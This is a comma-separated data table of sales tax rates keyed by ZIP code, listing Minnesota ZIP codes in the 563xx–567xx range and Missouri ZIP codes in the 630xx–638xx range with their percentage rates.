US-MN-56317,US,MN,56317,6.875,,,, US-MN-56318,US,MN,56318,6.875,,,, US-MN-56319,US,MN,56319,6.875,,,, US-MN-56320,US,MN,56320,6.875,,,, US-MN-56321,US,MN,56321,6.875,,,, US-MN-56323,US,MN,56323,6.875,,,, US-MN-56324,US,MN,56324,6.875,,,, US-MN-56325,US,MN,56325,6.875,,,, US-MN-56326,US,MN,56326,6.875,,,, US-MN-56327,US,MN,56327,6.875,,,, US-MN-56328,US,MN,56328,6.875,,,, US-MN-56329,US,MN,56329,6.875,,,, US-MN-56330,US,MN,56330,6.875,,,, US-MN-56331,US,MN,56331,6.875,,,, US-MN-56332,US,MN,56332,6.875,,,, US-MN-56333,US,MN,56333,6.875,,,, US-MN-56334,US,MN,56334,6.875,,,, US-MN-56335,US,MN,56335,6.875,,,, US-MN-56336,US,MN,56336,6.875,,,, US-MN-56338,US,MN,56338,6.875,,,, US-MN-56339,US,MN,56339,6.875,,,, US-MN-56340,US,MN,56340,6.875,,,, US-MN-56341,US,MN,56341,6.875,,,, US-MN-56342,US,MN,56342,6.875,,,, US-MN-56343,US,MN,56343,6.875,,,, US-MN-56344,US,MN,56344,6.875,,,, US-MN-56345,US,MN,56345,6.875,,,, US-MN-56347,US,MN,56347,6.875,,,, US-MN-56349,US,MN,56349,6.875,,,, US-MN-56350,US,MN,56350,6.875,,,, US-MN-56352,US,MN,56352,6.875,,,, US-MN-56353,US,MN,56353,6.875,,,, US-MN-56354,US,MN,56354,6.875,,,, US-MN-56355,US,MN,56355,6.875,,,, US-MN-56356,US,MN,56356,6.875,,,, US-MN-56357,US,MN,56357,6.875,,,, US-MN-56358,US,MN,56358,6.875,,,, US-MN-56359,US,MN,56359,6.875,,,, US-MN-56360,US,MN,56360,6.875,,,, US-MN-56361,US,MN,56361,6.875,,,, US-MN-56362,US,MN,56362,6.875,,,, US-MN-56363,US,MN,56363,6.875,,,, US-MN-56364,US,MN,56364,6.875,,,, US-MN-56367,US,MN,56367,6.875,,,, US-MN-56368,US,MN,56368,6.875,,,, US-MN-56369,US,MN,56369,6.875,,,, US-MN-56371,US,MN,56371,6.875,,,, US-MN-56372,US,MN,56372,7.375,,,, US-MN-56373,US,MN,56373,6.875,,,, US-MN-56374,US,MN,56374,6.875,,,, US-MN-56375,US,MN,56375,6.875,,,, US-MN-56376,US,MN,56376,6.875,,,, US-MN-56377,US,MN,56377,7.375,,,, US-MN-56378,US,MN,56378,6.875,,,, US-MN-56379,US,MN,56379,7.375,,,, US-MN-56381,US,MN,56381,6.875,,,, US-MN-56382,US,MN,56382,6.875,,,, US-MN-56384,US,MN,56384,6.875,,,, US-MN-56385,US,MN,56385,6.875,,,, US-MN-56386,US,MN,56386,6.875,,,, US-MN-56387,US,MN,56387,7.375,,,, US-MN-56388,US,MN,56388,7.375,,,, US-MN-56389,US,MN,56389,6.875,,,, US-MN-56393,US,MN,56393,7.375,,,, US-MN-56395,US,MN,56395,7.375,,,, US-MN-56396,US,MN,56396,7.375,,,, US-MN-56397,US,MN,56397,7.375,,,, US-MN-56398,US,MN,56398,7.375,,,, US-MN-56399,US,MN,56399,7.375,,,, US-MN-56401,US,MN,56401,6.875,,,, US-MN-56425,US,MN,56425,7.375,,,, US-MN-56430,US,MN,56430,6.875,,,, US-MN-56431,US,MN,56431,6.875,,,, US-MN-56433,US,MN,56433,6.875,,,, US-MN-56434,US,MN,56434,6.875,,,, US-MN-56435,US,MN,56435,6.875,,,, US-MN-56436,US,MN,56436,6.875,,,, US-MN-56437,US,MN,56437,6.875,,,, US-MN-56438,US,MN,56438,6.875,,,, US-MN-56440,US,MN,56440,6.875,,,, US-MN-56441,US,MN,56441,6.875,,,, US-MN-56442,US,MN,56442,6.875,,,, US-MN-56443,US,MN,56443,6.875,,,, US-MN-56444,US,MN,56444,6.875,,,, US-MN-56446,US,MN,56446,6.875,,,, US-MN-56447,US,MN,56447,6.875,,,, US-MN-56448,US,MN,56448,6.875,,,, US-MN-56449,US,MN,56449,6.875,,,, US-MN-56450,US,MN,56450,6.875,,,, US-MN-56452,US,MN,56452,6.875,,,, US-MN-56453,US,MN,56453,6.875,,,, US-MN-56455,US,MN,56455,6.875,,,, US-MN-56456,US,MN,56456,6.875,,,, US-MN-56458,US,MN,56458,6.875,,,, US-MN-56459,US,MN,56459,6.875,,,, US-MN-56461,US,MN,56461,6.875,,,, US-MN-56464,US,MN,56464,6.875,,,, US-MN-56465,US,MN,56465,6.875,,,, US-MN-56466,US,MN,56466,6.875,,,, US-MN-56467,US,MN,56467,6.875,,,, US-MN-56468,US,MN,56468,6.875,,,, US-MN-56469,US,MN,56469,6.875,,,, US-MN-56470,US,MN,56470,6.875,,,, US-MN-56472,US,MN,56472,6.875,,,, US-MN-56473,US,MN,56473,6.875,,,, US-MN-56474,US,MN,56474,6.875,,,, US-MN-56475,US,MN,56475,6.875,,,, US-MN-56477,US,MN,56477,6.875,,,, US-MN-56478,US,MN,56478,6.875,,,, US-MN-56479,US,MN,56479,6.875,,,, US-MN-56481,US,MN,56481,6.875,,,, US-MN-56482,US,MN,56482,6.875,,,, US-MN-56484,US,MN,56484,6.875,,,, US-MN-56501,US,MN,56501,6.875,,,, US-MN-56502,US,MN,56502,6.875,,,, US-MN-56510,US,MN,56510,6.875,,,, US-MN-56511,US,MN,56511,6.875,,,, US-MN-56514,US,MN,56514,6.875,,,, US-MN-56515,US,MN,56515,6.875,,,, US-MN-56516,US,MN,56516,6.875,,,, US-MN-56517,US,MN,56517,6.875,,,, US-MN-56518,US,MN,56518,6.875,,,, US-MN-56519,US,MN,56519,6.875,,,, US-MN-56520,US,MN,56520,6.875,,,, US-MN-56521,US,MN,56521,6.875,,,, US-MN-56522,US,MN,56522,6.875,,,, US-MN-56523,US,MN,56523,6.875,,,, US-MN-56524,US,MN,56524,6.875,,,, US-MN-56525,US,MN,56525,6.875,,,, US-MN-56527,US,MN,56527,6.875,,,, US-MN-56528,US,MN,56528,6.875,,,, US-MN-56529,US,MN,56529,6.875,,,, US-MN-56531,US,MN,56531,6.875,,,, US-MN-56533,US,MN,56533,6.875,,,, US-MN-56534,US,MN,56534,6.875,,,, US-MN-56535,US,MN,56535,6.875,,,, US-MN-56536,US,MN,56536,6.875,,,, US-MN-56537,US,MN,56537,7.375,,,, US-MN-56538,US,MN,56538,7.375,,,, US-MN-56540,US,MN,56540,6.875,,,, US-MN-56541,US,MN,56541,6.875,,,, US-MN-56542,US,MN,56542,6.875,,,, US-MN-56543,US,MN,56543,6.875,,,, US-MN-56544,US,MN,56544,6.875,,,, US-MN-56545,US,MN,56545,6.875,,,, US-MN-56546,US,MN,56546,6.875,,,, US-MN-56547,US,MN,56547,6.875,,,, US-MN-56548,US,MN,56548,6.875,,,, US-MN-56549,US,MN,56549,6.875,,,, US-MN-56550,US,MN,56550,6.875,,,, US-MN-56551,US,MN,56551,6.875,,,, US-MN-56552,US,MN,56552,6.875,,,, US-MN-56553,US,MN,56553,6.875,,,, US-MN-56554,US,MN,56554,6.875,,,, US-MN-56556,US,MN,56556,6.875,,,, US-MN-56557,US,MN,56557,6.875,,,, US-MN-56560,US,MN,56560,6.875,,,, US-MN-56561,US,MN,56561,6.875,,,, US-MN-56562,US,MN,56562,6.875,,,, US-MN-56563,US,MN,56563,6.875,,,, US-MN-56565,US,MN,56565,6.875,,,, US-MN-56566,US,MN,56566,6.875,,,, US-MN-56567,US,MN,56567,6.875,,,, US-MN-56568,US,MN,56568,6.875,,,, US-MN-56569,US,MN,56569,6.875,,,, US-MN-56570,US,MN,56570,6.875,,,, US-MN-56571,US,MN,56571,6.875,,,, US-MN-56572,US,MN,56572,6.875,,,, US-MN-56573,US,MN,56573,6.875,,,, US-MN-56574,US,MN,56574,6.875,,,, US-MN-56575,US,MN,56575,6.875,,,, US-MN-56576,US,MN,56576,6.875,,,, US-MN-56577,US,MN,56577,6.875,,,, US-MN-56578,US,MN,56578,6.875,,,, US-MN-56579,US,MN,56579,6.875,,,, US-MN-56580,US,MN,56580,6.875,,,, US-MN-56581,US,MN,56581,6.875,,,, US-MN-56583,US,MN,56583,6.875,,,, US-MN-56584,US,MN,56584,6.875,,,, US-MN-56585,US,MN,56585,6.875,,,, US-MN-56586,US,MN,56586,6.875,,,, US-MN-56587,US,MN,56587,6.875,,,, US-MN-56588,US,MN,56588,6.875,,,, US-MN-56589,US,MN,56589,6.875,,,, US-MN-56590,US,MN,56590,6.875,,,, US-MN-56591,US,MN,56591,6.875,,,, US-MN-56592,US,MN,56592,6.875,,,, US-MN-56593,US,MN,56593,6.875,,,, US-MN-56594,US,MN,56594,6.875,,,, US-MN-56601,US,MN,56601,6.875,,,, US-MN-56619,US,MN,56619,7.375,,,, US-MN-56621,US,MN,56621,6.875,,,, US-MN-56623,US,MN,56623,6.875,,,, US-MN-56626,US,MN,56626,6.875,,,, US-MN-56627,US,MN,56627,6.875,,,, US-MN-56628,US,MN,56628,6.875,,,, US-MN-56629,US,MN,56629,6.875,,,, US-MN-56630,US,MN,56630,6.875,,,, US-MN-56631,US,MN,56631,7.375,,,, US-MN-56633,US,MN,56633,6.875,,,, US-MN-56634,US,MN,56634,6.875,,,, US-MN-56636,US,MN,56636,6.875,,,, US-MN-56637,US,MN,56637,6.875,,,, US-MN-56639,US,MN,56639,6.875,,,, US-MN-56641,US,MN,56641,6.875,,,, US-MN-56644,US,MN,56644,6.875,,,, US-MN-56646,US,MN,56646,6.875,,,, US-MN-56647,US,MN,56647,6.875,,,, US-MN-56649,US,MN,56649,6.875,,,, US-MN-56650,US,MN,56650,6.875,,,, US-MN-56651,US,MN,56651,6.875,,,, US-MN-56652,US,MN,56652,6.875,,,, US-MN-56653,US,MN,56653,6.875,,,, US-MN-56654,US,MN,56654,6.875,,,, US-MN-56655,US,MN,56655,6.875,,,, US-MN-56657,US,MN,56657,6.875,,,, US-MN-56658,US,MN,56658,6.875,,,, US-MN-56659,US,MN,56659,6.875,,,, US-MN-56660,US,MN,56660,6.875,,,, US-MN-56661,US,MN,56661,6.875,,,, US-MN-56662,US,MN,56662,6.875,,,, US-MN-56663,US,MN,56663,6.875,,,, US-MN-56666,US,MN,56666,6.875,,,, US-MN-56667,US,MN,56667,6.875,,,, US-MN-56668,US,MN,56668,6.875,,,, US-MN-56669,US,MN,56669,6.875,,,, US-MN-56670,US,MN,56670,6.875,,,, US-MN-56671,US,MN,56671,6.875,,,, US-MN-56672,US,MN,56672,6.875,,,, US-MN-56673,US,MN,56673,6.875,,,, US-MN-56676,US,MN,56676,6.875,,,, US-MN-56678,US,MN,56678,6.875,,,, US-MN-56679,US,MN,56679,6.875,,,, US-MN-56680,US,MN,56680,6.875,,,, US-MN-56681,US,MN,56681,6.875,,,, US-MN-56682,US,MN,56682,6.875,,,, US-MN-56683,US,MN,56683,6.875,,,, US-MN-56684,US,MN,56684,6.875,,,, US-MN-56685,US,MN,56685,6.875,,,, US-MN-56686,US,MN,56686,6.875,,,, US-MN-56687,US,MN,56687,6.875,,,, US-MN-56688,US,MN,56688,6.875,,,, US-MN-56701,US,MN,56701,6.875,,,, US-MN-56710,US,MN,56710,6.875,,,, US-MN-56711,US,MN,56711,6.875,,,, US-MN-56713,US,MN,56713,6.875,,,, US-MN-56714,US,MN,56714,6.875,,,, US-MN-56715,US,MN,56715,6.875,,,, US-MN-56716,US,MN,56716,6.875,,,, US-MN-56720,US,MN,56720,6.875,,,, US-MN-56721,US,MN,56721,6.875,,,, US-MN-56722,US,MN,56722,6.875,,,, US-MN-56723,US,MN,56723,6.875,,,, US-MN-56724,US,MN,56724,6.875,,,, US-MN-56725,US,MN,56725,6.875,,,, US-MN-56726,US,MN,56726,6.875,,,, US-MN-56727,US,MN,56727,6.875,,,, US-MN-56728,US,MN,56728,6.875,,,, US-MN-56729,US,MN,56729,6.875,,,, US-MN-56731,US,MN,56731,6.875,,,, US-MN-56732,US,MN,56732,6.875,,,, US-MN-56733,US,MN,56733,6.875,,,, US-MN-56734,US,MN,56734,6.875,,,, US-MN-56735,US,MN,56735,6.875,,,, US-MN-56736,US,MN,56736,6.875,,,, US-MN-56737,US,MN,56737,6.875,,,, US-MN-56738,US,MN,56738,6.875,,,, US-MN-56740,US,MN,56740,6.875,,,, US-MN-56741,US,MN,56741,6.875,,,, US-MN-56742,US,MN,56742,6.875,,,, US-MN-56744,US,MN,56744,6.875,,,, US-MN-56748,US,MN,56748,6.875,,,, US-MN-56750,US,MN,56750,6.875,,,, US-MN-56751,US,MN,56751,6.875,,,, US-MN-56754,US,MN,56754,6.875,,,, US-MN-56755,US,MN,56755,6.875,,,, US-MN-56756,US,MN,56756,6.875,,,, US-MN-56757,US,MN,56757,6.875,,,, US-MN-56758,US,MN,56758,6.875,,,, US-MN-56759,US,MN,56759,6.875,,,, US-MN-56760,US,MN,56760,6.875,,,, US-MN-56761,US,MN,56761,6.875,,,, US-MN-56762,US,MN,56762,6.875,,,, US-MN-56763,US,MN,56763,6.875,,,, US-MO-63005,US,MO,63005,8.113,,,, US-MO-63006,US,MO,63006,8.113,,,, US-MO-63010,US,MO,63010,8.35,,,, US-MO-63011,US,MO,63011,8.113,,,, US-MO-63012,US,MO,63012,7.1,,,, US-MO-63013,US,MO,63013,6.475,,,, US-MO-63014,US,MO,63014,6.475,,,, US-MO-63015,US,MO,63015,6.475,,,, US-MO-63016,US,MO,63016,6.85,,,, US-MO-63017,US,MO,63017,8.113,,,, US-MO-63019,US,MO,63019,8.6,,,, US-MO-63020,US,MO,63020,6.35,,,, US-MO-63021,US,MO,63021,7.113,,,, US-MO-63022,US,MO,63022,8.113,,,, US-MO-63023,US,MO,63023,6.85,,,, US-MO-63024,US,MO,63024,8.113,,,, US-MO-63025,US,MO,63025,8.113,,,, US-MO-63026,US,MO,63026,7.113,,,, US-MO-63028,US,MO,63028,6.85,,,, US-MO-63030,US,MO,63030,6.35,,,, US-MO-63031,US,MO,63031,8.113,,,, US-MO-63032,US,MO,63032,8.113,,,, US-MO-63033,US,MO,63033,8.113,,,, US-MO-63034,US,MO,63034,7.113,,,, US-MO-63036,US,MO,63036,5.975,,,, US-MO-63037,US,MO,63037,6.475,,,, US-MO-63038,US,MO,63038,7.613,,,, US-MO-63039,US,MO,63039,6.475,,,, US-MO-63040,US,MO,63040,7.613,,,, US-MO-63041,US,MO,63041,6.975,,,, US-MO-63042,US,MO,63042,8.613,,,, US-MO-63043,US,MO,63043,7.613,,,, US-MO-63044,US,MO,63044,8.113,,,, US-MO-63045,US,MO,63045,7.113,,,, US-MO-63047,US,MO,63047,6.85,,,, US-MO-63048,US,MO,63048,9.35,,,, US-MO-63049,US,MO,63049,6.85,,,, US-MO-63050,US,MO,63050,6.35,,,, US-MO-63051,US,MO,63051,7.35,,,, US-MO-63052,US,MO,63052,7.1,,,, US-MO-63053,US,MO,63053,8.6,,,, US-MO-63055,US,MO,63055,6.475,,,, US-MO-63056,US,MO,63056,6.475,,,, US-MO-63057,US,MO,63057,7.1,,,, US-MO-63060,US,MO,63060,6.975,,,, US-MO-63061,US,MO,63061,6.975,,,, US-MO-63065,US,MO,63065,6.85,,,, US-MO-63066,US,MO,63066,6.85,,,, US-MO-63068,US,MO,63068,6.475,,,, US-MO-63069,US,MO,63069,7.975,,,, US-MO-63070,US,MO,63070,8.85,,,, US-MO-63071,US,MO,63071,7.225,,,, US-MO-63072,US,MO,63072,6.475,,,, US-MO-63073,US,MO,63073,6.475,,,, US-MO-63074,US,MO,63074,8.863,,,, US-MO-63077,US,MO,63077,6.975,,,, US-MO-63079,US,MO,63079,6.475,,,, US-MO-63080,US,MO,63080,8.475,,,, US-MO-63084,US,MO,63084,8.475,,,, US-MO-63087,US,MO,63087,5.975,,,, US-MO-63088,US,MO,63088,8.113,,,, US-MO-63089,US,MO,63089,6.475,,,, US-MO-63090,US,MO,63090,8.35,,,, US-MO-63091,US,MO,63091,7.6,,,, US-MO-63099,US,MO,63099,7.113,,,, US-MO-63101,US,MO,63101,8.679,,,, US-MO-63102,US,MO,63102,8.679,,,, US-MO-63103,US,MO,63103,8.679,,,, US-MO-63104,US,MO,63104,8.679,,,, US-MO-63105,US,MO,63105,8.363,,,, US-MO-63106,US,MO,63106,8.679,,,, US-MO-63107,US,MO,63107,8.679,,,, US-MO-63108,US,MO,63108,8.679,,,, US-MO-63109,US,MO,63109,8.679,,,, US-MO-63110,US,MO,63110,8.679,,,, US-MO-63111,US,MO,63111,8.679,,,, US-MO-63112,US,MO,63112,8.679,,,, US-MO-63113,US,MO,63113,8.679,,,, US-MO-63114,US,MO,63114,7.863,,,, US-MO-63115,US,MO,63115,8.679,,,, US-MO-63116,US,MO,63116,8.679,,,, US-MO-63117,US,MO,63117,8.613,,,, US-MO-63118,US,MO,63118,8.679,,,, US-MO-63119,US,MO,63119,8.613,,,, US-MO-63120,US,MO,63120,8.679,,,, US-MO-63121,US,MO,63121,8.613,,,, US-MO-63122,US,MO,63122,8.363,,,, US-MO-63123,US,MO,63123,7.113,,,, US-MO-63124,US,MO,63124,8.363,,,, US-MO-63125,US,MO,63125,7.113,,,, US-MO-63126,US,MO,63126,8.613,,,, US-MO-63127,US,MO,63127,8.363,,,, US-MO-63128,US,MO,63128,7.113,,,, US-MO-63129,US,MO,63129,7.113,,,, US-MO-63130,US,MO,63130,8.613,,,, US-MO-63131,US,MO,63131,8.613,,,, US-MO-63132,US,MO,63132,8.613,,,, US-MO-63133,US,MO,63133,7.863,,,, US-MO-63134,US,MO,63134,9.113,,,, US-MO-63135,US,MO,63135,8.613,,,, US-MO-63136,US,MO,63136,7.113,,,, US-MO-63137,US,MO,63137,7.613,,,, US-MO-63138,US,MO,63138,7.113,,,, US-MO-63139,US,MO,63139,8.679,,,, US-MO-63140,US,MO,63140,8.363,,,, US-MO-63141,US,MO,63141,7.863,,,, US-MO-63143,US,MO,63143,8.613,,,, US-MO-63144,US,MO,63144,8.613,,,, US-MO-63145,US,MO,63145,9.113,,,, US-MO-63146,US,MO,63146,7.113,,,, US-MO-63147,US,MO,63147,8.679,,,, US-MO-63150,US,MO,63150,8.679,,,, US-MO-63151,US,MO,63151,7.113,,,, US-MO-63155,US,MO,63155,8.679,,,, US-MO-63156,US,MO,63156,8.679,,,, US-MO-63157,US,MO,63157,8.679,,,, US-MO-63158,US,MO,63158,8.679,,,, US-MO-63160,US,MO,63160,8.679,,,, US-MO-63163,US,MO,63163,8.679,,,, US-MO-63166,US,MO,63166,8.679,,,, US-MO-63167,US,MO,63167,7.863,,,, US-MO-63169,US,MO,63169,8.679,,,, US-MO-63171,US,MO,63171,8.679,,,, US-MO-63177,US,MO,63177,8.679,,,, US-MO-63178,US,MO,63178,8.679,,,, US-MO-63179,US,MO,63179,8.679,,,, US-MO-63180,US,MO,63180,8.679,,,, US-MO-63182,US,MO,63182,8.679,,,, US-MO-63188,US,MO,63188,8.679,,,, US-MO-63195,US,MO,63195,8.679,,,, US-MO-63197,US,MO,63197,8.679,,,, US-MO-63199,US,MO,63199,8.679,,,, US-MO-63301,US,MO,63301,7.45,,,, US-MO-63302,US,MO,63302,7.45,,,, US-MO-63303,US,MO,63303,7.45,,,, US-MO-63304,US,MO,63304,5.95,,,, US-MO-63330,US,MO,63330,6.225,,,, US-MO-63332,US,MO,63332,5.95,,,, US-MO-63333,US,MO,63333,5.975,,,, US-MO-63334,US,MO,63334,6.225,,,, US-MO-63336,US,MO,63336,6.225,,,, US-MO-63338,US,MO,63338,8.95,,,, US-MO-63339,US,MO,63339,6.225,,,, US-MO-63341,US,MO,63341,5.95,,,, US-MO-63342,US,MO,63342,6.225,,,, US-MO-63343,US,MO,63343,6.475,,,, US-MO-63344,US,MO,63344,6.225,,,, US-MO-63345,US,MO,63345,7.6,,,, US-MO-63346,US,MO,63346,6.95,,,, US-MO-63347,US,MO,63347,6.475,,,, US-MO-63348,US,MO,63348,5.95,,,, US-MO-63349,US,MO,63349,6.475,,,, US-MO-63350,US,MO,63350,5.975,,,, US-MO-63351,US,MO,63351,6.225,,,, US-MO-63352,US,MO,63352,6.6,,,, US-MO-63353,US,MO,63353,7.725,,,, US-MO-63357,US,MO,63357,6.225,,,, US-MO-63359,US,MO,63359,6.225,,,, US-MO-63361,US,MO,63361,7.475,,,, US-MO-63362,US,MO,63362,6.475,,,, US-MO-63363,US,MO,63363,5.975,,,, US-MO-63365,US,MO,63365,7.95,,,, US-MO-63366,US,MO,63366,7.95,,,, US-MO-63367,US,MO,63367,7.45,,,, US-MO-63368,US,MO,63368,7.95,,,, US-MO-63369,US,MO,63369,6.475,,,, US-MO-63370,US,MO,63370,7.475,,,, US-MO-63373,US,MO,63373,5.95,,,, US-MO-63376,US,MO,63376,7.95,,,, US-MO-63377,US,MO,63377,6.475,,,, US-MO-63378,US,MO,63378,7.725,,,, US-MO-63379,US,MO,63379,6.475,,,, US-MO-63381,US,MO,63381,6.225,,,, US-MO-63382,US,MO,63382,8.1,,,, US-MO-63383,US,MO,63383,6.225,,,, US-MO-63384,US,MO,63384,7.725,,,, US-MO-63385,US,MO,63385,8.45,,,, US-MO-63386,US,MO,63386,6.95,,,, US-MO-63387,US,MO,63387,6.475,,,, US-MO-63388,US,MO,63388,5.725,,,, US-MO-63389,US,MO,63389,6.475,,,, US-MO-63390,US,MO,63390,6.225,,,, US-MO-63401,US,MO,63401,8.6,,,, US-MO-63430,US,MO,63430,7.225,,,, US-MO-63431,US,MO,63431,6.35,,,, US-MO-63432,US,MO,63432,5.475,,,, US-MO-63433,US,MO,63433,6.225,,,, US-MO-63434,US,MO,63434,6.725,,,, US-MO-63435,US,MO,63435,8.975,,,, US-MO-63436,US,MO,63436,6.225,,,, US-MO-63437,US,MO,63437,6.725,,,, US-MO-63438,US,MO,63438,7.35,,,, US-MO-63439,US,MO,63439,6.725,,,, US-MO-63440,US,MO,63440,7.35,,,, US-MO-63441,US,MO,63441,6.225,,,, US-MO-63443,US,MO,63443,7.725,,,, US-MO-63445,US,MO,63445,7.225,,,, US-MO-63446,US,MO,63446,6.225,,,, US-MO-63447,US,MO,63447,7.35,,,, US-MO-63448,US,MO,63448,8.35,,,, US-MO-63450,US,MO,63450,6.725,,,, US-MO-63451,US,MO,63451,6.725,,,, US-MO-63452,US,MO,63452,7.35,,,, US-MO-63453,US,MO,63453,6.225,,,, US-MO-63454,US,MO,63454,6.35,,,, US-MO-63456,US,MO,63456,8.225,,,, US-MO-63457,US,MO,63457,7.35,,,, US-MO-63458,US,MO,63458,6.225,,,, US-MO-63459,US,MO,63459,6.225,,,, US-MO-63460,US,MO,63460,6.225,,,, US-MO-63461,US,MO,63461,8.1,,,, US-MO-63462,US,MO,63462,6.225,,,, US-MO-63463,US,MO,63463,6.35,,,, US-MO-63464,US,MO,63464,6.225,,,, US-MO-63465,US,MO,63465,6.225,,,, US-MO-63466,US,MO,63466,6.225,,,, US-MO-63467,US,MO,63467,6.225,,,, US-MO-63468,US,MO,63468,8.475,,,, US-MO-63469,US,MO,63469,6.725,,,, US-MO-63471,US,MO,63471,6.35,,,, US-MO-63472,US,MO,63472,7.225,,,, US-MO-63473,US,MO,63473,7.35,,,, US-MO-63474,US,MO,63474,7.225,,,, US-MO-63501,US,MO,63501,7.85,,,, US-MO-63530,US,MO,63530,6.35,,,, US-MO-63531,US,MO,63531,6.225,,,, US-MO-63532,US,MO,63532,6.35,,,, US-MO-63533,US,MO,63533,5.6,,,, US-MO-63534,US,MO,63534,6.35,,,, US-MO-63535,US,MO,63535,6.225,,,, US-MO-63536,US,MO,63536,6.225,,,, US-MO-63537,US,MO,63537,7.225,,,, US-MO-63538,US,MO,63538,6.35,,,, US-MO-63539,US,MO,63539,6.35,,,, US-MO-63540,US,MO,63540,5.6,,,, US-MO-63541,US,MO,63541,6.225,,,, US-MO-63543,US,MO,63543,5.475,,,, US-MO-63544,US,MO,63544,5.6,,,, US-MO-63545,US,MO,63545,6.975,,,, US-MO-63546,US,MO,63546,5.6,,,, US-MO-63547,US,MO,63547,6.225,,,, US-MO-63548,US,MO,63548,7.225,,,, US-MO-63549,US,MO,63549,7.85,,,, US-MO-63551,US,MO,63551,6.225,,,, US-MO-63552,US,MO,63552,7.85,,,, US-MO-63555,US,MO,63555,6.475,,,, US-MO-63556,US,MO,63556,6.975,,,, US-MO-63557,US,MO,63557,6.225,,,, US-MO-63558,US,MO,63558,6.35,,,, US-MO-63559,US,MO,63559,5.6,,,, US-MO-63560,US,MO,63560,6.975,,,, US-MO-63561,US,MO,63561,8.725,,,, US-MO-63563,US,MO,63563,6.475,,,, US-MO-63565,US,MO,63565,6.225,,,, US-MO-63566,US,MO,63566,6.975,,,, US-MO-63567,US,MO,63567,6.225,,,, US-MO-63601,US,MO,63601,8.475,,,, US-MO-63620,US,MO,63620,8.225,,,, US-MO-63621,US,MO,63621,7.475,,,, US-MO-63622,US,MO,63622,7.225,,,, US-MO-63623,US,MO,63623,6.225,,,, US-MO-63624,US,MO,63624,7.475,,,, US-MO-63625,US,MO,63625,5.225,,,, US-MO-63626,US,MO,63626,7.225,,,, US-MO-63627,US,MO,63627,6.725,,,, US-MO-63628,US,MO,63628,5.975,,,, US-MO-63629,US,MO,63629,5.225,,,, US-MO-63630,US,MO,63630,7.225,,,, US-MO-63631,US,MO,63631,7.225,,,, US-MO-63632,US,MO,63632,5.725,,,, US-MO-63633,US,MO,63633,5.225,,,, US-MO-63636,US,MO,63636,6.225,,,, US-MO-63637,US,MO,63637,5.975,,,, US-MO-63638,US,MO,63638,8.225,,,, US-MO-63640,US,MO,63640,7.975,,,, US-MO-63645,US,MO,63645,6.225,,,, US-MO-63648,US,MO,63648,7.225,,,, US-MO-63650,US,MO,63650,8.225,,,, US-MO-63651,US,MO,63651,5.975,,,, US-MO-63653,US,MO,63653,6.975,,,, US-MO-63654,US,MO,63654,5.225,,,, US-MO-63655,US,MO,63655,6.225,,,, US-MO-63656,US,MO,63656,6.225,,,, US-MO-63660,US,MO,63660,7.225,,,, US-MO-63662,US,MO,63662,5.85,,,, US-MO-63663,US,MO,63663,8.225,,,, US-MO-63664,US,MO,63664,7.225,,,, US-MO-63665,US,MO,63665,5.225,,,, US-MO-63666,US,MO,63666,5.225,,,, US-MO-63670,US,MO,63670,6.725,,,, US-MO-63673,US,MO,63673,6.725,,,, US-MO-63674,US,MO,63674,7.225,,,, US-MO-63675,US,MO,63675,6.225,,,, US-MO-63701,US,MO,63701,7.975,,,, US-MO-63702,US,MO,63702,7.975,,,, US-MO-63703,US,MO,63703,7.975,,,, US-MO-63730,US,MO,63730,5.225,,,, US-MO-63732,US,MO,63732,5.225,,,, US-MO-63735,US,MO,63735,5.225,,,, US-MO-63736,US,MO,63736,5.225,,,, US-MO-63737,US,MO,63737,6.1,,,, US-MO-63738,US,MO,63738,5.225,,,, US-MO-63739,US,MO,63739,5.225,,,, US-MO-63740,US,MO,63740,6.975,,,, US-MO-63742,US,MO,63742,5.225,,,, US-MO-63743,US,MO,63743,5.225,,,, US-MO-63744,US,MO,63744,6.725,,,, US-MO-63745,US,MO,63745,6.225,,,, US-MO-63746,US,MO,63746,6.1,,,, US-MO-63747,US,MO,63747,5.225,,,, US-MO-63748,US,MO,63748,6.1,,,, US-MO-63750,US,MO,63750,5.85,,,, US-MO-63751,US,MO,63751,5.85,,,, US-MO-63752,US,MO,63752,5.725,,,, US-MO-63755,US,MO,63755,7.225,,,, US-MO-63758,US,MO,63758,6.225,,,, US-MO-63760,US,MO,63760,5.85,,,, US-MO-63763,US,MO,63763,5.725,,,, US-MO-63764,US,MO,63764,7.85,,,, US-MO-63766,US,MO,63766,5.225,,,, US-MO-63767,US,MO,63767,6.225,,,, US-MO-63769,US,MO,63769,5.225,,,, US-MO-63770,US,MO,63770,6.1,,,, US-MO-63771,US,MO,63771,5.225,,,, US-MO-63774,US,MO,63774,5.225,,,, US-MO-63775,US,MO,63775,6.1,,,, US-MO-63776,US,MO,63776,7.975,,,, US-MO-63779,US,MO,63779,5.225,,,, US-MO-63780,US,MO,63780,6.975,,,, US-MO-63781,US,MO,63781,5.85,,,, US-MO-63782,US,MO,63782,5.85,,,, US-MO-63783,US,MO,63783,6.1,,,, US-MO-63784,US,MO,63784,5.225,,,, US-MO-63785,US,MO,63785,5.225,,,, US-MO-63787,US,MO,63787,5.85,,,, US-MO-63801,US,MO,63801,7.725,,,, US-MO-63820,US,MO,63820,5.975,,,, US-MO-63821,US,MO,63821,5.225,,,, US-MO-63822,US,MO,63822,6.725,,,, US-MO-63823,US,MO,63823,6.975,,,, US-MO-63824,US,MO,63824,5.225,,,, US-MO-63825,US,MO,63825,5.225,,,, US-MO-63826,US,MO,63826,5.475,,,, US-MO-63827,US,MO,63827,5.475,,,, US-MO-63828,US,MO,63828,5.475,,,, US-MO-63829,US,MO,63829,6.225,,,, US-MO-63830,US,MO,63830,6.975,,,, US-MO-63833,US,MO,63833,5.225,,,, US-MO-63834,US,MO,63834,7.475,,,, US-MO-63837,US,MO,63837,5.225,,,, US-MO-63839,US,MO,63839,5.475,,,, US-MO-63840,US,MO,63840,5.475,,,, US-MO-63841,US,MO,63841,7.1,,,, US-MO-63845,US,MO,63845,8.475,,,, US-MO-63846,US,MO,63846,5.225,,,, US-MO-63847,US,MO,63847,5.225,,,, US-MO-63848,US,MO,63848,6.475,,,, US-MO-63849,US,MO,63849,5.225,,,, US-MO-63850,US,MO,63850,5.225,,,, US-MO-63851,US,MO,63851,7.725,,,, US-MO-63852,US,MO,63852,5.225,,,, US-MO-63853,US,MO,63853,5.475,,,, US-MO-63855,US,MO,63855,5.225,,,, US-MO-63857,US,MO,63857,7.975,,,, US-MO-63860,US,MO,63860,5.475,,,, US-MO-63862,US,MO,63862,5.475,,,, US-MO-63863,US,MO,63863,6.975,,,, US-MO-63866,US,MO,63866,7.975,,,, 